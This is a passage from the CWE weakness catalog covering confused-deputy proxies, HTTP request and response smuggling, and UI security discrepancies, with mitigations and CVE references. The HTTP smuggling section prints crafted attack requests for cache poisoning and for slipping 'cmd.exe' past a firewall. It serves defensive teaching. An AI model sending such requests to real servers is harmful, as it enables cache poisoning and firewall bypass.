The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.

## Extended Description

If an attacker cannot directly contact a target, but the product has access to the target, then the attacker can send a request to the product and have it be forwarded to the target. The request would appear to be coming from the product's system, not the attacker's system. As a result, the attacker can bypass access controls (such as firewalls) or hide the source of malicious requests, since the requests would not be coming directly from the attacker.






Since proxy functionality and message-forwarding often serve a legitimate purpose, this issue only becomes a vulnerability when:

- The product runs with different privileges or on a different system, or otherwise has different levels of access than the upstream component;
- The attacker is prevented from making the request directly to the target; and
- The attacker can create a request that the proxy does not explicitly intend to be forwarded on the behalf of the requester. Such a request might point to an unexpected hostname, port number, hardware IP, or service. Or, the request might be sent to an allowed service, but the request could contain disallowed directives, commands, or resources.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1285
ParentOf		918	Server-Side Request Forgery (SSRF)	1694
ParentOf		1021	Improper Restriction of Rendered UI Layers or Frames	1727
PeerOf		611	Improper Restriction of XML External Entity Reference	1286
CanPrecede		668	Exposure of Resource to Wrong Sphere	1380

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1014	Identify Actors	2222

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Alternate Terms

**Confused Deputy** : This weakness is sometimes referred to as the "Confused deputy" problem, in which an attacker misused the authority of one victim (the "confused deputy") when targeting another victim.

### Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Gain Privileges or Assume Identity	
Access Control	Hide Activities	
	Execute Unauthorized Code or Commands	

### Potential Mitigations

#### Phase: Architecture and Design

Enforce the use of strong mutual authentication mechanism between the two parties.

#### Phase: Architecture and Design

Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.

### Demonstrative Examples

#### Example 1:

A SoC contains a microcontroller (running ring-3 (least trusted ring) code), a Memory Mapped Input Output (MMIO) mapped IP core (containing design-house secrets), and a Direct Memory Access (DMA) controller, among several other compute elements and peripherals. The SoC implements access control to protect the registers in the IP core (which registers store the design-house secrets) from malicious, ring-3 (least trusted ring) code executing on the microcontroller. The DMA controller, however, is not blocked off from accessing the IP core for functional reasons.

*Example Language: Other*

*(Bad)*

The code in ring-3 (least trusted ring) of the microcontroller attempts to directly read the protected registers in IP core through MMIO transactions. However, this attempt is blocked due to the implemented access control. Now, the microcontroller configures the DMA core to transfer data from the protected registers to a memory region that it has access to. The DMA core, which is acting as an intermediary in this transaction, does not preserve the identity of the microcontroller and, instead, initiates a new transaction with its own identity. Since the DMA core has access, the transaction (and hence, the attack) is successful.

The weakness here is that the intermediary or the proxy agent did not ensure the immutability of the identity of the microcontroller initiating the transaction.

*Example Language: Other*

*(Good)*

The DMA core forwards this transaction with the identity of the code executing on the microcontroller, which is the original initiator of the end-to-end transaction. Now the transaction is blocked, as a result of forwarding the identity of the true initiator which lacks the permission to access the confidential MMIO mapped IP core.

### Observed Examples

Reference	Description
<b>CVE-1999-0017</b>	FTP bounce attack. The design of the protocol allows an attacker to modify the PORT command to cause the FTP server to connect to other machines besides the attacker's. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0017">https://www.cve.org/CVERecord?id=CVE-1999-0017</a>
<b>CVE-1999-0168</b>	RPC portmapper could redirect service requests from an attacker to another entity, which thinks the requests came from the portmapper. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0168">https://www.cve.org/CVERecord?id=CVE-1999-0168</a>

Reference	Description
<b>CVE-2005-0315</b>	FTP server does not ensure that the IP address in a PORT command is the same as the FTP user's session, allowing port scanning by proxy. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0315">https://www.cve.org/CVERecord?id=CVE-2005-0315</a>
<b>CVE-2002-1484</b>	Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1484">https://www.cve.org/CVERecord?id=CVE-2002-1484</a>
<b>CVE-2004-2061</b>	CGI script accepts and retrieves incoming URLs. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2061">https://www.cve.org/CVERecord?id=CVE-2004-2061</a>
<b>CVE-2001-1484</b>	Bounce attack allows access to TFTP from trusted side. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1484">https://www.cve.org/CVERecord?id=CVE-2001-1484</a>
<b>CVE-2010-1637</b>	Web-based mail program allows internal network scanning using a modified POP3 port number. <a href="https://www.cve.org/CVERecord?id=CVE-2010-1637">https://www.cve.org/CVERecord?id=CVE-2010-1637</a>
<b>CVE-2009-0037</b>	URL-downloading library automatically follows redirects to file:// and scp:// URLs <a href="https://www.cve.org/CVERecord?id=CVE-2009-0037">https://www.cve.org/CVERecord?id=CVE-2009-0037</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	956	SFP Secondary Cluster: Channel Attack	888	2191
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2263
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

### Notes

#### Relationship

This weakness has a chaining relationship with CWE-668 (Exposure of Resource to Wrong Sphere) because the proxy effectively provides the attacker with access to the target's resources that the attacker cannot directly obtain.

#### Maintenance

This could possibly be considered as an emergent resource.

#### Theoretical

It could be argued that the "confused deputy" is a fundamental aspect of most vulnerabilities that require an active attacker. Even for common implementation issues such as buffer overflows, SQL injection, OS command injection, and path traversal, the vulnerable program already has the authorization to run code or access files. The vulnerability arises when the attacker causes the program to run unexpected code or access unexpected files.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unintended proxy/intermediary
PLOVER			Proxied Trusted Channel
WASC	32		Routing Detour

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
219	XML Routing Detour Attacks
465	Transparent Proxy Abuse

## References

[REF-432]Norm Hardy. "The Confused Deputy (or why capabilities might have been invented)". 1988. < <http://www.cap-lore.com/CapTheory/ConfusedDeputy.html> >.

[REF-1125]moparisthebest. "Validation Vulnerabilities". 2015 June 5. < [https://mailarchive.ietf.org/arch/msg/acme/s6Q5PdJP48LEUwgzrVuw\\_XPKCsM/](https://mailarchive.ietf.org/arch/msg/acme/s6Q5PdJP48LEUwgzrVuw_XPKCsM/) >.

## CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

**Weakness ID** : 444

**Structure** : Simple

**Abstraction** : Base

### Description

The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.

### Extended Description

HTTP requests or responses ("messages") can be malformed or unexpected in ways that cause web servers or clients to interpret the messages in different ways than intermediary HTTP agents such as load balancers, reverse proxies, web caching proxies, application firewalls, etc. For example, an adversary may be able to add duplicate or different header fields that a client or server might interpret as one set of messages, whereas the intermediary might interpret the same sequence of bytes as a different set of messages. For example, discrepancies can arise in how to handle duplicate headers like two Transfer-encoding (TE) or two Content-length (CL), or the malicious HTTP message will have different headers for TE and CL.

The inconsistent parsing and interpretation of messages can allow the adversary to "smuggle" a message to the client/server without the intermediary being aware of it.

This weakness is usually the result of the usage of outdated or incompatible HTTP protocol versions in the HTTP agents.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		436	Interpretation Conflict	1000

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		436	Interpretation Conflict	1000

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	2120

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Based (*Prevalence = Undetermined*)

## Alternate Terms

**HTTP Request Smuggling** :

**HTTP Response Smuggling** :

**HTTP Smuggling** :

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Non-Repudiation	Hide Activities	
Access Control	Bypass Protection Mechanism	
<p><i>An attacker could create HTTP messages to exploit a number of weaknesses including 1) the message can trick the web server to associate a URL with another URL's webpage and caching the contents of the webpage (web cache poisoning attack), 2) the message can be structured to bypass the firewall protection mechanisms and gain unauthorized access to a web application, and 3) the message can invoke a script or a page that returns client credentials (similar to a Cross Site Scripting attack).</i></p>		

## Potential Mitigations

### Phase: Implementation

Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].

### Phase: Implementation

Use only SSL communication.

### Phase: Implementation

Terminate the client session after each request.

### Phase: System Configuration

Turn all pages to non-cacheable.

## Demonstrative Examples

### Example 1:

In the following example, a malformed HTTP request is sent to a website that includes a proxy server and a web server with the intent of poisoning the cache to associate one webpage with another malicious webpage.

*Example Language:*

*(Attack)*

```

POST http://www.website.com/foobar.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 54
GET /poison.html HTTP/1.1
Host: www.website.com
Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive

```

When this request is sent to the proxy server, the proxy server parses the first four lines of the POST request and encounters the two "Content-Length" headers. The proxy server ignores the first header, so it assumes the request has a body of length 54 bytes. Therefore, it treats the data in the next three lines that contain exactly 54 bytes as the first request's body:

*Example Language:*

*(Result)*

```
GET /poison.html HTTP/1.1
Host: www.website.com
Bla:
```

The proxy then parses the remaining bytes, which it treats as the client's second request:

*Example Language:*

*(Attack)*

```
GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
```

The original request is forwarded by the proxy server to the web server. Unlike the proxy, the web server uses the first "Content-Length" header and considers that the first POST request has no body.

*Example Language:*

*(Attack)*

```
POST http://www.website.com/foobar.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 54 (ignored by server)
```

Because the web server has assumed the original POST request was length 0, it parses the second request that follows, i.e. for GET /poison.html:

*Example Language:*

*(Attack)*

```
GET /poison.html HTTP/1.1
Host: www.website.com
Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
```

Note that the "Bla:" header is treated as a regular header, so it is not parsed as a separate GET request.

The requests the web server sees are "POST /foobar.html" and "GET /poison.html", so it sends back two responses with the contents of the "foobar.html" page and the "poison.html" page, respectively. The proxy matches these responses to the two requests it thinks were sent by the client - "POST /foobar.html" and "GET /page\_to\_poison.html". If the response is cacheable, the proxy caches the contents of "poison.html" under the URL "page\_to\_poison.html", and the cache is poisoned! Any client requesting "page\_to\_poison.html" from the proxy would receive the "poison.html" page.

When a website includes both a proxy server and a web server, some protection against this type of attack can be achieved by installing a web application firewall, or using a web server that includes a stricter HTTP parsing procedure or make all webpages non-cacheable.

Additionally, if a web application includes a Java servlet for processing requests, the servlet can check for multiple "Content-Length" headers and if they are found the servlet can return an error response thereby preventing the poison page to be cached, as shown below.

Example Language: Java

(Good)

```
protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException,
IOException {
    // Set up response writer object
    ...
    try {
        // check for multiple content length headers
        Enumeration contentLengthHeaders = request.getHeaders("Content-Length");
        int count = 0;
        while (contentLengthHeaders.hasMoreElements()) {
            count++;
        }
        if (count > 1) {
            // output error response
        }
        else {
            // process request
        }
    } catch (Exception ex) {...}
}
```

**Example 2:**

In the following example, a malformed HTTP request is sent to a website that includes a web server with a firewall with the intent of bypassing the web server firewall to smuggle malicious code into the system.

Example Language:

(Attack)

```
POST /page.asp HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Length: 49223
zzz...zzz ["z" x 49152]
POST /page.asp HTTP/1.0
Connection: Keep-Alive
Content-Length: 30
POST /page.asp HTTP/1.0
Bla: POST /page.asp?cmd.exe HTTP/1.0
Connection: Keep-Alive
```

When this request is sent to the web server, the first POST request has a content-length of 49,223 bytes, and the firewall treats the line with 49,152 copies of "z" and the lines with an additional lines with 71 bytes as its body (49,152+71=49,223). The firewall then continues to parse what it thinks is the second request starting with the line with the third POST request.

Note that there is no CRLF after the "Bla: " header so the POST in the line is parsed as the value of the "Bla:" header. Although the line contains the pattern identified with a worm ("cmd.exe"), it is not blocked, since it is considered part of a header value. Therefore, "cmd.exe" is smuggled through the firewall.

When the request is passed through the firewall the web server the first request is ignored because the web server does not find an expected "Content-Type: application/x-www-form-urlencoded" header, and starts parsing the second request.

This second request has a content-length of 30 bytes, which is exactly the length of the next two lines up to the space after the "Bla:" header. And unlike the firewall, the web server processes the final POST as a separate third request and the "cmd.exe" worm is smuggled through the firewall to the web server.

To avoid this attack a Web server firewall product must be used that is designed to prevent this type of attack.

**Example 3:**



The interpretation of HTTP responses can be manipulated if response headers include a space between the header name and colon, or if HTTP 1.1 headers are sent through a proxy configured for HTTP 1.0, allowing for HTTP response smuggling. This can be exploited in web browsers and other applications when used in combination with various proxy servers. For instance, the HTTP response interpreted by the front-end/client HTTP agent/entity - in this case the web browser - can interpret a single response from an adversary-compromised web server as being two responses from two different web sites. In the Example below, notice the extra space after the Content-Length and Set-Cookie headers.

Example Language:

(Attack)

```
HTTP/1.1 200 OK
Date: Fri, 08 Aug 2016 08:12:31 GMT
Server: Apache (Unix)
Connection: Keep-Alive
Content-Encoding: gzip
Content-Type: text/html
Content-Length : 2345
Transfer-Encoding: chunked
Set-Cookie : token="Malicious Code"
<HTML> ... "Malicious Code"
```

### Observed Examples

Reference	Description
<b>CVE-2022-24766</b>	SSL/TLS-capable proxy allows HTTP smuggling when used in tandem with HTTP/1.0 services, due to inconsistent interpretation and input sanitization of HTTP messages within the body of another message <a href="https://www.cve.org/CVERecord?id=CVE-2022-24766">https://www.cve.org/CVERecord?id=CVE-2022-24766</a>
<b>CVE-2021-37147</b>	Chain: caching proxy server has improper input validation (CWE-20) of headers, allowing HTTP response smuggling (CWE-444) using an "LF line ending" <a href="https://www.cve.org/CVERecord?id=CVE-2021-37147">https://www.cve.org/CVERecord?id=CVE-2021-37147</a>
<b>CVE-2020-8287</b>	Node.js platform allows request smuggling via two Transfer-Encoding headers <a href="https://www.cve.org/CVERecord?id=CVE-2020-8287">https://www.cve.org/CVERecord?id=CVE-2020-8287</a>
<b>CVE-2006-6276</b>	Web servers allow request smuggling via inconsistent HTTP headers. <a href="https://www.cve.org/CVERecord?id=CVE-2006-6276">https://www.cve.org/CVERecord?id=CVE-2006-6276</a>
<b>CVE-2005-2088</b>	HTTP server allows request smuggling with both a "Transfer-Encoding: chunked" header and a Content-Length header <a href="https://www.cve.org/CVERecord?id=CVE-2005-2088">https://www.cve.org/CVERecord?id=CVE-2005-2088</a>
<b>CVE-2005-2089</b>	HTTP server allows request smuggling with both a "Transfer-Encoding: chunked" header and a Content-Length header <a href="https://www.cve.org/CVERecord?id=CVE-2005-2089">https://www.cve.org/CVERecord?id=CVE-2005-2089</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

### Notes

Theoretical

Request smuggling can be performed due to a multiple interpretation error, where the target is an intermediary or monitor, via a consistency manipulation (Transfer-Encoding and Content-Length headers).

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			HTTP Request Smuggling
WASC	26		HTTP Request Smuggling
WASC	27		HTTP Response Smuggling

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
33	HTTP Request Smuggling
273	HTTP Response Smuggling

### References

[REF-433]Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin. "HTTP Request Smuggling". < <http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf> >.

[REF-1273]Robert Auger. "HTTP Response Smuggling". 2011 February 1. < <http://projects.webappsec.org/w/page/13246930/HTTP%20Response%20Smuggling> >.

[REF-1274]Dzevad Alibegovic. "HTTP Request Smuggling: Complete Guide to Attack Types and Prevention". 2021 August 3. < <https://brightsec.com/blog/http-request-smuggling-hrs/> >.

[REF-1275]Busra Demir. "A Pentester's Guide to HTTP Request Smuggling". 2020 October 5. < <https://www.cobalt.io/blog/a-pentesters-guide-to-http-request-smuggling> >.

[REF-1276]Edi Kogan and Daniel Kerman. "HTTP Desync Attacks in the Wild and How to Defend Against Them". 2019 October 9. < <https://www.imperva.com/blog/http-desync-attacks-and-defence-methods/> >.

[REF-1277]James Kettle. "HTTP Desync Attacks: Request Smuggling Reborn". 2019 August 7. < <https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn> >.

[REF-1278]PortSwigger. "HTTP request smuggling". < <https://portswigger.net/web-security/request-smuggling> >.

## CWE-446: UI Discrepancy for Security Feature

**Weakness ID** : 446

**Structure** : Simple

**Abstraction** : Class

### Description

The user interface does not correctly enable or configure a security feature, but the interface provides feedback that causes the user to believe that the feature is in a secure state.

### Extended Description

When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the product does not actually enable the encryption. Alternately, the user might provide a "restrict ALL" access control rule, but the product only implements "restrict SOME".

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		684	Incorrect Provision of Specified Functionality	1410
ParentOf		447	Unimplemented or Unsupported Feature in UI	1015
ParentOf		448	Obsolete Feature in UI	1017
ParentOf		449	The UI Performs the Wrong Action	1017

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Observed Examples

Reference	Description
<b>CVE-1999-1446</b>	UI inconsistency; visited URLs list not cleared when "Clear History" option is selected. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1446">https://www.cve.org/CVERecord?id=CVE-1999-1446</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		996	SFP Secondary Cluster: Security	888	2211

### Notes

#### Maintenance

This entry is likely a loose composite that could be broken down into the different types of errors that cause the user interface to have incorrect interactions with the underlying security feature.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			User interface inconsistency

## CWE-447: Unimplemented or Unsupported Feature in UI

**Weakness ID :** 447

**Structure :** Simple

**Abstraction :** Base

### Description

A UI function for a security feature appears to be supported and gives feedback to the user that suggests that it is supported, but the underlying functionality is not implemented.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		446	UI Discrepancy for Security Feature	1014
ChildOf		671	Lack of Administrator Control over Security	1385

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		355	User Interface Security Issues	2112

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Potential Mitigations

#### Phase: Testing

Perform functionality testing before deploying the application.

### Observed Examples

Reference	Description
<b>CVE-2000-0127</b>	GUI configuration tool does not enable a security option when a checkbox is selected, although that option is honored when manually set in the configuration file. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0127">https://www.cve.org/CVERecord?id=CVE-2000-0127</a>
<b>CVE-2001-0863</b>	Router does not implement a specific keyword when it is used in an ACL, allowing filter bypass. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0863">https://www.cve.org/CVERecord?id=CVE-2001-0863</a>
<b>CVE-2001-0865</b>	Router does not implement a specific keyword when it is used in an ACL, allowing filter bypass. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0865">https://www.cve.org/CVERecord?id=CVE-2001-0865</a>
<b>CVE-2004-0979</b>	Web browser does not properly modify security setting when the user sets it. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0979">https://www.cve.org/CVERecord?id=CVE-2004-0979</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		995	SFP Secondary Cluster: Feature	888	2211

### Notes

#### Research Gap

This issue needs more study, as there are not many examples. It is not clear whether it is primary or resultant.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unimplemented or unsupported feature in UI

## CWE-448: Obsolete Feature in UI

**Weakness ID :** 448

**Structure :** Simple

**Abstraction :** Base


### Description

A UI function is obsolete and the product does not warn the user.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		446	UI Discrepancy for Security Feature	1014

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		355	User Interface Security Issues	2112

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

### Potential Mitigations

#### Phase: Architecture and Design

Remove the obsolete feature from the UI. Warn the user that the feature is no longer supported.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		995	SFP Secondary Cluster: Feature	888	2211

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Obsolete feature in UI

## CWE-449: The UI Performs the Wrong Action

**Weakness ID :** 449

**Structure** : Simple  
**Abstraction** : Base

## Description

The UI performs the wrong action with respect to the user's request.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		446	UI Discrepancy for Security Feature	1014

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		355	User Interface Security Issues	2112

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

## Potential Mitigations

### Phase: Testing

Perform extensive functionality testing of the UI. The UI should behave as specified.

## Observed Examples

Reference	Description
<b>CVE-2001-1387</b>	Network firewall accidentally implements one command line option as if it were another, possibly leading to behavioral infoleak. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1387">https://www.cve.org/CVERecord?id=CVE-2001-1387</a>
<b>CVE-2001-0081</b>	Command line option correctly suppresses a user prompt but does not properly disable a feature, although when the product prompts the user, the feature is properly disabled. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0081">https://www.cve.org/CVERecord?id=CVE-2001-0081</a>
<b>CVE-2002-1977</b>	Product does not "time out" according to user specification, leaving sensitive data available after it has expired. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1977">https://www.cve.org/CVERecord?id=CVE-2002-1977</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		995	SFP Secondary Cluster: Feature	888	2211

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			The UI performs the wrong action

## CWE-450: Multiple Interpretations of UI Input

**Weakness ID :** 450

**Structure :** Simple

**Abstraction :** Base

### Description

The UI has multiple interpretations of user input but does not prompt the user when it selects the less secure interpretation.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		357	Insufficient UI Warning of Dangerous Operations	833

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		355	User Interface Security Issues	2112

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Input Validation*



Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	995	SFP Secondary Cluster: Feature	888	2211

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Multiple Interpretations of UI Input

## CWE-451: User Interface (UI) Misrepresentation of Critical Information

**Weakness ID :** 451

**Structure :** Simple

**Abstraction :** Class

### Description

The user interface (UI) does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks.

### Extended Description

If an attacker can cause the UI to display erroneous data, or to otherwise convince the user to display information that appears to come from a trusted source, then the attacker could trick the user into performing the wrong action. This is often a component in phishing attacks, but other kinds of problems exist. For example, if the UI is used to monitor the security state of a system or network, then omitting or obscuring an important indicator could prevent the user from detecting and reacting to a security-critical event.

UI misrepresentation can take many forms:

- **Incorrect indicator:** incorrect information is displayed, which prevents the user from understanding the true state of the product or the environment the product is monitoring, especially of potentially-dangerous conditions or operations. This can be broken down into several different subtypes.
- **Overlay:** an area of the display is intended to give critical information, but another process can modify the display by overlaying another element on top of it. The user is not interacting with the expected portion of the user interface. This is the problem that enables clickjacking attacks, although many other types of attacks exist that involve overlay.
- **Icon manipulation:** the wrong icon, or the wrong color indicator, can be influenced (such as making a dangerous .EXE executable look like a harmless .GIF)
- **Timing:** the product is performing a state transition or context switch that is presented to the user with an indicator, but a race condition can cause the wrong indicator to be used before the product has fully switched context. The race window could be extended indefinitely if the attacker can trigger an error.
- **Visual truncation:** important information could be truncated from the display, such as a long filename with a dangerous extension that is not displayed in the GUI because the malicious portion is truncated. The use of excessive whitespace can also cause truncation, or place the

potentially-dangerous indicator outside of the user's field of view (e.g. "filename.txt .exe").






A different type of truncation can occur when a portion of the information is removed due to reasons other than length, such as the accidental insertion of an end-of-input marker in the middle of an input, such as a NUL byte in a C-style string.

- Visual distinction: visual information might be presented in a way that makes it difficult for the user to quickly and correctly distinguish between critical and unimportant segments of the display.
- Homographs: letters from different character sets, fonts, or languages can appear very similar (i.e. may be visually equivalent) in a way that causes the human user to misread the text (for example, to conduct phishing attacks to trick a user into visiting a malicious web site with a visually-similar name as a trusted site). This can be regarded as a type of visual distinction issue.

## Relationships

